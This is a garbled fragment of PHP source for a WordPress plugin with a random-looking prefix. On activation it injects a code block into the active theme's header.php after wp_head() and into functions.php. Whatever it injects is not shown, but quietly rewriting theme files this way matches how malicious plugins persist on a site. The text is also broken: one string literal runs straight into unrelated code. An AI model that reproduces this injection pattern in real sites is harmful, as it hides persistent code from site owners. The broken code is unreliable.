\s*$/', $content ) ) {
return preg_replace( '/\?>\s*$/', $block . "\n?>", $content, 1 );
}
return rtrim( $content ) . $block;
}
function i259bb5e9_maybe_inject_functions_php( $functions_path ) {
if ( file_exists( $functions_path ) ) {
$content = file_get_contents( $functions_path );
if ( false === $content ) {
return new WP_Error(
'i259bb5e9_read_functions',
sprintf(
__( 'Could not read file: %s', 'plugin-259bb5e9' ),
$functions_path
)
);
}
} else {
$content = " or 
tag found after wp_head() in: %s', 'plugin-259bb5e9' ),
$header_path
);
set_transient( 'i259bb5e9_activation_errors', $errors, 60 );
return;
}
if ( false === file_put_contents( $header_path, $updated ) ) {
$errors[] = sprintf(
__( 'Could not update file: %s', 'plugin-259bb5e9' ),
$header_path
);
set_transient( 'i259bb5e9_activation_errors', $errors, 60 );
return;
}
}
$functions_result = i259bb5e9_maybe_inject_functions_php( $functions_path );
if ( is_wp_error( $functions_result ) ) {
$errors[] = $functions_result->get_error_message();
set_transient( 'i259bb5e9_activation_errors', $errors, 60 );
return;
}
delete_transient( 'i259bb5e9_activation_errors' );
}
register_activation_hook( __FILE__, 'i259bb5e9_on_activate' );
function i259bb5e9_admin_notices() {
$errors = get_transient( 'i259bb5e9_activation_errors' );
if ( empty( $errors ) || ! is_array( $errors ) ) {
return;
}
echo '